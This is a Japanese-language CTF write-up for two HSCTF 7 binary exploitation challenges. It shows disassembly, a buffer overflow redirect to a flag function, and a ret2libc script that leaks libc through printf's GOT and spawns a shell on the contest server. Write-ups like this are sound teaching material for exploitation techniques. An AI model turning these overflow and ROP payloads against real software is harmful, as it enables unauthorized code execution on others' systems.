HSCTF 7【Write-up】
Binary Exploitation
Boredom
$ file boredom boredom: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=99a762a8f8f05784a81b593573ca8252f44ecc7e, for GNU/Linux 3.2.0, not stripped
$ checksec.sh --file=./boredom RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 74 Symbols No 0 3 ./boredom
$ ./boredom I'm currently bored out of my mind. Give me sumpfink to do! Give me something to do: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Ehhhhh, maybe later. Segmentation fault (コアダンプ)
gdb-peda$ pdisas flag Dump of assembler code for function flag: 0x00000000004011d5 <+0>: push rbp 0x00000000004011d6 <+1>: mov rbp,rsp 0x00000000004011d9 <+4>: sub rsp,0x40 0x00000000004011dd <+8>: lea rsi,[rip+0xe60] # 0x402044 0x00000000004011e4 <+15>: lea rdi,[rip+0xe5b] # 0x402046 0x00000000004011eb <+22>: call 0x401080 <fopen@plt> 0x00000000004011f0 <+27>: mov QWORD PTR [rbp-0x8],rax 0x00000000004011f4 <+31>: cmp QWORD PTR [rbp-0x8],0x0 0x00000000004011f9 <+36>: jne 0x40121d <flag+72> 0x00000000004011fb <+38>: lea rdi,[rip+0xe4e] # 0x402050 0x0000000000401202 <+45>: call 0x401030 <puts@plt> 0x0000000000401207 <+50>: lea rdi,[rip+0xe92] # 0x4020a0 0x000000000040120e <+57>: call 0x401030 <puts@plt> 0x0000000000401213 <+62>: mov edi,0x1 0x0000000000401218 <+67>: call 0x401090 <exit@plt> 0x000000000040121d <+72>: mov rdx,QWORD PTR [rbp-0x8] 0x0000000000401221 <+76>: lea rax,[rbp-0x40] 0x0000000000401225 <+80>: mov esi,0x32 0x000000000040122a <+85>: mov rdi,rax 0x000000000040122d <+88>: call 0x401050 <fgets@plt> 0x0000000000401232 <+93>: lea rax,[rbp-0x40] 0x0000000000401236 <+97>: mov rsi,rax 0x0000000000401239 <+100>: lea rdi,[rip+0xea0] # 0x4020e0 0x0000000000401240 <+107>: mov eax,0x0 0x0000000000401245 <+112>: call 0x401040 <printf@plt> 0x000000000040124a <+117>: lea rdi,[rip+0xecc] # 0x40211d 0x0000000000401251 <+124>: call 0x401030 <puts@plt> 0x0000000000401256 <+129>: mov edi,0x2a 0x000000000040125b <+134>: call 0x401090 <exit@plt> End of assembler dump.
BOFがあるのでflag関数に飛ばすだけです。
from pwn import * p = remote('pwn.hsctf.com',5002) e = ELF('./boredom') ret_addr = 0x0040101a payload = 'A'*216 payload += p64(ret_addr) payload += p64(e.symbols['flag']) p.sendline(payload) p.interactive()
$ python solve.py [+] Opening connection to pwn.hsctf.com on port 5002: Done [*] Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Switching to interactive mode I'm currently bored out of my mind. Give me sumpfink to do! Give me something to do: Ehhhhh, maybe later. Hey, that's a neat idea. Here's a flag for your trouble: flag{7h3_k3y_l0n3l1n355_57r1k35_0cff9132}
pwnagotchi
$ file pwnagotchi pwnagotchi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f8c34ef43ba5a8fbce8b89987797d88f7adbb31f, not stripped
$ checksec.sh --file=./pwnagotchi RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 77 Symbols No 0 2 ./pwnagotchi
gdbでデバッグしてみると、eatやzzzという関数があることがわかります。
gdb-peda$ i func All defined functions: Non-debugging symbols: 0x0000000000400638 _init 0x0000000000400660 puts@plt 0x0000000000400670 setresgid@plt 0x0000000000400680 printf@plt 0x0000000000400690 srand@plt 0x00000000004006a0 time@plt 0x00000000004006b0 gets@plt 0x00000000004006c0 getegid@plt 0x00000000004006d0 setvbuf@plt 0x00000000004006e0 sleep@plt 0x00000000004006f0 rand@plt 0x0000000000400700 _start 0x0000000000400730 _dl_relocate_static_pie 0x0000000000400740 deregister_tm_clones 0x0000000000400770 register_tm_clones 0x00000000004007b0 __do_global_dtors_aux 0x00000000004007e0 frame_dummy 0x00000000004007e7 eat 0x0000000000400801 zzz 0x0000000000400846 main 0x0000000000400990 __libc_csu_init 0x0000000000400a00 __libc_csu_fini 0x0000000000400a04 _fini
gdb-peda$ pdisas eat Dump of assembler code for function eat: 0x00000000004007e7 <+0>: push rbp 0x00000000004007e8 <+1>: mov rbp,rsp 0x00000000004007eb <+4>: lea rdi,[rip+0x226] # 0x400a18 0x00000000004007f2 <+11>: call 0x400660 <puts@plt> 0x00000000004007f7 <+16>: mov BYTE PTR [rip+0x20087a],0x0 # 0x601078 <hungry> 0x00000000004007fe <+23>: nop 0x00000000004007ff <+24>: pop rbp 0x0000000000400800 <+25>: ret
eat関数は、hungryという変数に0を代入しているようです。
gdb-peda$ pdisas zzz Dump of assembler code for function zzz: 0x0000000000400801 <+0>: push rbp 0x0000000000400802 <+1>: mov rbp,rsp 0x0000000000400805 <+4>: lea rdi,[rip+0x217] # 0x400a23 0x000000000040080c <+11>: call 0x400660 <puts@plt> 0x0000000000400811 <+16>: call 0x4006f0 <rand@plt> 0x0000000000400816 <+21>: mov ecx,eax 0x0000000000400818 <+23>: mov edx,0x55555556 0x000000000040081d <+28>: mov eax,ecx 0x000000000040081f <+30>: imul edx 0x0000000000400821 <+32>: mov eax,ecx 0x0000000000400823 <+34>: sar eax,0x1f 0x0000000000400826 <+37>: sub edx,eax 0x0000000000400828 <+39>: mov eax,edx 0x000000000040082a <+41>: add eax,eax 0x000000000040082c <+43>: add eax,edx 0x000000000040082e <+45>: sub ecx,eax 0x0000000000400830 <+47>: mov edx,ecx 0x0000000000400832 <+49>: lea eax,[rdx+0x1] 0x0000000000400835 <+52>: mov edi,eax 0x0000000000400837 <+54>: call 0x4006e0 <sleep@plt> 0x000000000040083c <+59>: mov BYTE PTR [rip+0x200836],0x0 # 0x601079 <sleepy> 0x0000000000400843 <+66>: nop 0x0000000000400844 <+67>: pop rbp 0x0000000000400845 <+68>: ret
zzz関数は最後の方でsleepyという変数に0を代入しているようです。
デコンパイル結果をみると、once変数が0かhungry変数が0かつsleepy変数が0のときは、printf関数が実行されそれ以外のときはThis is weird...という文字列が出力されることがわかります。 つまり、once変数やhungry変数、speepy変数が0でないとBOFがあっても、任意の命令を実行できないということです。
$ ./pwnagotchi Enter your pwnagotchi's name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ (•-•) / AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA is not happy! Segmentation fault (コアダンプ)
最初は、eat関数とzzz関数をつかってhungry変数とsleepy変数を0にしようとしたのですがうまくいかなかったので、gets関数でonceに0を書き込み、同じ処理を繰り返すことにしました。
以下がExploitコードになります。
from pwn import * e = ELF('./pwnagotchi') #p = process('./pwnagotchi') p = remote('pwn.hsctf.com',5005) libc = ELF('./libc6_2.27-3ubuntu1_amd64.so') ret_addr = 0x00400285 pop_rdi_addr = 0x004009f3 payload = 'A'*20 payload += p64(ret_addr) payload += p64(pop_rdi_addr) payload += p64(e.got['printf']) payload += p64(e.symbols['printf']) payload += p64(pop_rdi_addr) payload += p64(e.symbols['once']) payload += p64(e.symbols['gets']) payload += p64(e.symbols['main']) print p.recvuntil('name:') p.sendline(payload) p.sendline('\0') print p.recvuntil('happy!\n') ret = u64(p.recvline()[:6] + '\x00\x00') libc_base_addr = ret - libc.symbols['printf'] system_addr = libc.symbols['system'] + libc_base_addr binsh_addr = next(libc.search("/bin/sh")) + libc_base_addr payload = 'A'*20 payload += p64(ret_addr) payload += p64(pop_rdi_addr) payload += p64(binsh_addr) payload += p64(system_addr) p.sendline(payload) p.interactive()
手順としては、libcをリークするためにprintf関数のGOTを出力し、gets関数を用いてonce変数に0を書き込んだ上でmain関数をもう1度呼びます。あとは、libcのoffsetを求めてsystem('/bin/sh')を呼び出すだけです。